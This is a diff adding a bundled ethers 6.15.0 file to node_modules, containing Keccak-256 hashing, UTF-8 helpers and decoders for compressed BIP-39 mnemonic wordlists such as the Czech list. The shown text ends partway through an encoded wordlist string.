b/node_modules/ethers/dist/wordlists-extra.js @@ -0,0 +1,1508 @@ +function number(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error(`Wrong positive integer: ${n}`); +} +function bytes(b, ...lengths) { + if (!(b instanceof Uint8Array)) + throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); +} +function exists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) + throw new Error('Hash#digest() has already been called'); +} +function output(out, instance) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } +} + +/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+. +// node.js versions earlier than v19 don't declare it in global scope. +// For node.js, package.json#exports field mapping rewrites import +// from `crypto` to `cryptoNode`, which imports native module. +// Makes the utils un-importable in browsers without a bundler. +// Once node.js 18 is deprecated, we can just drop the import. +const u8a = (a) => a instanceof Uint8Array; +const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4)); +// big-endian hardware is rare. Just in case someone still decides to run hashes: +// early-throw an error because we don't support BE yet. +const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44; +if (!isLE) + throw new Error('Non little-endian hardware is not supported'); +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +/** + * Normalizes (non-hex) string or Uint8Array to Uint8Array. + * Warning: when Uint8Array is passed, it would NOT get copied. + * Keep in mind for future mutable operations. + */ +function toBytes(data) { + if (typeof data === 'string') + data = utf8ToBytes(data); + if (!u8a(data)) + throw new Error(`expected Uint8Array, got ${typeof data}`); + return data; +} +// For runtime check if class implements interface +class Hash { + // Safe version that clones internal state + clone() { + return this._cloneInto(); + } +} +function wrapConstructor(hashCons) { + const hashC = (msg) => hashCons().update(toBytes(msg)).digest(); + const tmp = hashCons(); + hashC.outputLen = tmp.outputLen; + hashC.blockLen = tmp.blockLen; + hashC.create = () => hashCons(); + return hashC; +} + +const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +const _32n = /* @__PURE__ */ BigInt(32); +// We are not using BigUint64Array, because they are extremely slow as per 2022 +function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} +function split(lst, le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} +// Left rotate for Shift in [1, 32) +const rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s)); +const rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s)); +// Left rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s)); +const rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s)); + +/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */ +/** + * The current version of Ethers. + */ +const version = "6.15.0"; + +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +function defineProperties(target, values, types) { + for (let key in values) { + let value = values[key]; + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } +} + +/** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ +function stringify(value, seen) { + if (value == null) { + return "null"; + } + if (seen == null) { + seen = new Set(); + } + if (typeof (value) === "object") { + if (seen.has(value)) { + return "[Circular]"; + } + seen.add(value); + } + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify(v, seen))).join(", ") + " ]"; + } + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return stringify(value.toJSON(), seen); + } + switch (typeof (value)) { + case "boolean": + case "number": + case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(", ") + " }"; + } + } + return `[ COULD NOT SERIALIZE ]`; +} +/** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ +function makeError(message, code, info) { + let shortMessage = message; + { + const details = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${stringify(info)}`); + } + for (const key in info) { + if (key === "shortMessage") { + continue; + } + const value = (info[key]); + // try { + details.push(key + "=" + stringify(value)); + // } catch (error: any) { + // console.log("MMM", error.message); + // details.push(key + "=[could not serialize object]"); + // } + } + } + details.push(`code=${code}`); + details.push(`version=${version}`); + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + defineProperties(error, { code }); + if (info) { + Object.assign(error, info); + } + if (error.shortMessage == null) { + defineProperties(error, { shortMessage }); + } + return error; +} +/** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ +function assert(check, message, code, info) { + if (!check) { + throw makeError(message, code, info); + } +} +/** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ +function assertArgument(check, message, name, value) { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); +} +["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { + throw new Error("bad"); + } + ; + /* c8 ignore stop */ + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301); + /* c8 ignore start */ + if (check !== expected) { + throw new Error("broken"); + } + /* c8 ignore stop */ + } + accum.push(form); + } + catch (error) { } + return accum; +}, []); + +/** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ +function _getBytes(value, name, copy) { + if (value instanceof Uint8Array) { + return value; + } + if (typeof (value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + assertArgument(false, "invalid BytesLike value", name || "value", value); +} +/** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ +function getBytes(value, name) { + return _getBytes(value, name); +} +const HexCharacters = "0123456789abcdef"; +/** + * Returns a [[DataHexString]] representation of %%data%%. + */ +function hexlify(data) { + const bytes = getBytes(data); + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; +} + +/** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ +function errorFunc(reason, offset, bytes, output, badCodepoint) { + assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); +} +function ignoreFunc(reason, offset, bytes, output, badCodepoint) { + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { + break; + } + i++; + } + return i; + } + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + // Nothing to skip + return 0; +} +function replaceFunc(reason, offset, bytes, output, badCodepoint) { + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + assertArgument(typeof (badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + // Put the replacement character into the output + output.push(0xfffd); + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes); +} +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +const Utf8ErrorFuncs = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc +}); +// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 +function getUtf8CodePoints(_bytes, onError) { + if (onError == null) { + onError = Utf8ErrorFuncs.error; + } + const bytes = getBytes(_bytes, "bytes"); + const result = []; + let i = 0; + // Invalid bytes are ignored + while (i < bytes.length) { + const c = bytes[i++]; + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + // Multibyte; how many bytes left for this character? + let extraLength = null; + let overlongMask = null; + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + // 1110 xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + } + else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } + else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + // Remove the length prefix from the char + let res = c & ((1 << (8 - extraLength - 1)) - 1); + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + } + res = (res << 6) | (nextChar & 0x3f); + i++; + } + // See above loop for invalid continuation byte + if (res === null) { + continue; + } + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + result.push(res); + } + return result; +} +// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +function toUtf8Bytes(str, form) { + assertArgument(typeof (str) === "string", "invalid string value", "str", str); + let result = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + if (c < 0x80) { + result.push(c); + } + else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + } + else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), "invalid surrogate pair", "str", str); + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + } + else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + return new Uint8Array(result); +} +//export +function _toUtf8String(codePoints) { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + codePoint -= 0x10000; + return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00)); + }).join(""); +} +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +function toUtf8String(bytes, onError) { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); +} + +// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. +// It's called a sponge function. +// Various per round constants calculations +const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []]; +const _0n = /* @__PURE__ */ BigInt(0); +const _1n = /* @__PURE__ */ BigInt(1); +const _2n = /* @__PURE__ */ BigInt(2); +const _7n = /* @__PURE__ */ BigInt(7); +const _256n = /* @__PURE__ */ BigInt(256); +const _0x71n = /* @__PURE__ */ BigInt(0x71); +for (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n; + for (let j = 0; j < 7; j++) { + R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n) + t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n); + } + _SHA3_IOTA.push(t); +} +const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true); +// Left rotation (without 0, 32, 64) +const rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s)); +const rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s)); +// Same as keccakf1600, but allows to skip some rounds +function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) + B[x] = s[y + x]; + for (let x = 0; x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); +} +class Keccak extends Hash { + // NOTE: we accept arguments in bytes instead of bits here. + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + // Can be passed from user as dkLen + number(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data) { + exists(this); + const { blockLen, state } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + writeInto(out) { + exists(this, false); + bytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) + throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes) { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + output(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} +const gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen)); +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8); + +/** + * Cryptographic hashing functions + * + * @_subsection: api/crypto:Hash Functions [about-crypto-hashing] + */ +let locked = false; +const _keccak256 = function (data) { + return keccak_256(data); +}; +let __keccak256 = _keccak256; +/** + * Compute the cryptographic KECCAK256 hash of %%data%%. + * + * The %%data%% **must** be a data representation, to compute the + * hash of UTF-8 data use the [[id]] function. + * + * @returns DataHexstring + * @example: + * keccak256("0x") + * //_result: + * + * keccak256("0x1337") + * //_result: + * + * keccak256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + * // Strings are assumed to be DataHexString, otherwise it will + * // throw. To hash UTF-8 data, see the note above. + * keccak256("Hello World") + * //_error: + */ +function keccak256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__keccak256(data)); +} +keccak256._ = _keccak256; +keccak256.lock = function () { locked = true; }; +keccak256.register = function (func) { + if (locked) { + throw new TypeError("keccak256 is locked"); + } + __keccak256 = func; +}; +Object.freeze(keccak256); + +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +function id(value) { + return keccak256(toUtf8Bytes(value)); +} + +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z]*$/i; +function unfold(words, sep) { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } + else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } + else { + initial = 97; + accum.push(word); + } + return accum; + }, []); +} +/** + * @_ignore + */ +function decode(data, subs) { + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps = []; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { + clumps.push(";"); + } + } + else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { + throw new Error(`leftovers: ${JSON.stringify(leftover)}`); + } + /* c8 ignore stop */ + return unfold(unfold(clumps, ";"), ":"); +} +/** + * @_ignore + */ +function decodeOwl(data) { + assertArgument(data[0] === "0", "unsupported auwl data", "data", data); + return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length)); +} + +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +class Wordlist { + locale; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale) { + defineProperties(this, { locale }); + } + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase) { + return phrase.toLowerCase().split(/\s+/g); + } + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words) { + return words.join(" "); + } +} + +// Use the encode-latin.js script to create the necessary +// data files to be consumed by this class +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwl extends Wordlist { + #data; + #checksum; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale, data, checksum) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + /** + * The OWL-encoded data. + */ + get _data() { return this.#data; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwl(this.#data); + } + #words; + #loadWords() { + if (this.#words == null) { + const words = this._decodeWords(); + // Verify the computed list matches the official list + const checksum = id(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); + } + /* c8 ignore stop */ + this.#words = words; + } + return this.#words; + } + getWord(index) { + const words = this.#loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return this.#loadWords().indexOf(word); + } +} + +const words$4 = "0itatkastcenaovo$taouleraeki&chor*teci%enbalodaeladet'!Chn=0Di#%E%^1Resa2Rese3CeT'#0EjKohol0Pu)%0A&sDul#Ekdo)Ke)Ti#Ul|3}aOgan%0FaltI$@tPi,%TmaTronom0LasL{i#Ol0Tobus4Yl:B#}R'?TaUb_U/!U^U+Ur!Xer2A^v#Ambo,An#AtrEp)Ike)KoLohOnzOskevUn{#Usin#Z^Zy2Bl.Bn|})D _D#D'aF{Jar(Kv?LdokLvaN^NkrRzaTikVolZola3D+tL.T'#0Ukot:PartRev&3DrDu+J/JnLaLerLkemLn?N.Nn(N'#NtrumNzZ(2O&2KolivUv!4It_N(0Dn(Ke)KrPot0Ak~AlIkRkot2Kli$a:L-oRe[T_Tum1E,1B!a}'#Cib_Fic Fla%KlKr{Mokr!PreseRbyS#T-tiv3Kob,zKt|O^P]mSkSp+jV`]Vo/2AhaOuhoUhopis1Es0BroBy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onL/aL*nNaN^lNil#RanRhanyR|1ElkuHod0Ova0DroGe)%J%Lbl*dL{rhL _LmocLry[Nk'Ran^RzeS_#SkrzeSn?SpoduS)Ter.Ver#3B,%}rDeoh,D.D+LaN?S{Tal aZeZ #0Ezd0L`Us0Aj#AkAs>EvoHk(IvN'#Oup!1Uc|Uk0DaDiv(Doz&kD$voJ@skyJ&JskoLantL[L LnoSk'#Zid]Z'&0Ravo1Ab>A%tAhA)Ba}o+kH!StvaTu+0Ad T*p Tup0Ip4Bav Br!}|D!D,Fot H+d!H~Hod H,d Hub Jasn J{Jm=K]p Kon!L-!Maz!Mez Miz{Mys+tNe/!Nik!Nut P`!Pl! P,v Pu$ Raz R'n!Rv!Sl' SokoS)v Su~Syp!Tas Tes!Tr! Vi~Vol!Vrh_Zdob Zn!0AduBud }op DJ{Ji$ K+p!K*p Lep Mez Mot!Mys+tNe/!Nik!Pl! Poj Ps!Raz S)v Su~Taj Temn Tk~Ujm=Val Ve+tVin Vol!Vrt!Zvon 0Av RusuUd|Yt-1A+#ArmaAtn(IvoOb RojVihYm`]0L@.ManM.Pt!Z`uZdola2At Lt~Lubo#Ot' Ru[0MaMn?0Emn 0Lam!Oum!R!#Umav#0AtoEh#O[OmO$Ozvyk0Ap|ArAt-IjeIz{Ocn Odr!Rzl.Ut|0AkAl(Am@!Ovu0B,z Tav Ub-Ufa+0Lod Omal RavaR( Rud#Rvu1A^An C`]N (NoOv&Y/l Zav(1I/aR! 0B'.Br0Ed~EnkuEs_aOnR!Uk'odYk"; +const checksum$4 = "0x25f44555f4af25b51a711136e1c7d6e50ce9f8917d39d6b1f076b2bb4d2fac1a"; +let wordlist$6 = null; +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangCz extends WordlistOwl { + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor() { super("cz", words$4, checksum$4); } + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist$6 == null) { + wordlist$6 = new LangCz(); + } + return wordlist$6; + } +} + +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +/** + * @_ignore + */ +function decodeBits(width, data) { + const maxValue = (1 << width) - 1; + const result = []; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } + else { + result.push(value + flood); + flood = 0; + } + } + } + return result; +} + +/** + * @_ignore + */ +function decodeOwlA(data, accents) { + let words = decodeOwl(data).join(","); + // Inject the accents + accents.split(/,/g).forEach((accent) => { + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + assertArgument(match !== null, "internal error parsing accents", "accents", accents); + let posOffset = 0; + const positions = decodeBits(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${match[1]}])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + return words.split(","); +} + +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwlA extends WordlistOwl { + #accent; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale, data, accent, checksum) { + super(locale, data, checksum); + this.#accent = accent; + } + /** + * The OWLA-encoded accent data. + */ + get _accent() { return this.#accent; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwlA(this._data, this._accent); + } +} + +const words$3 = "0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab 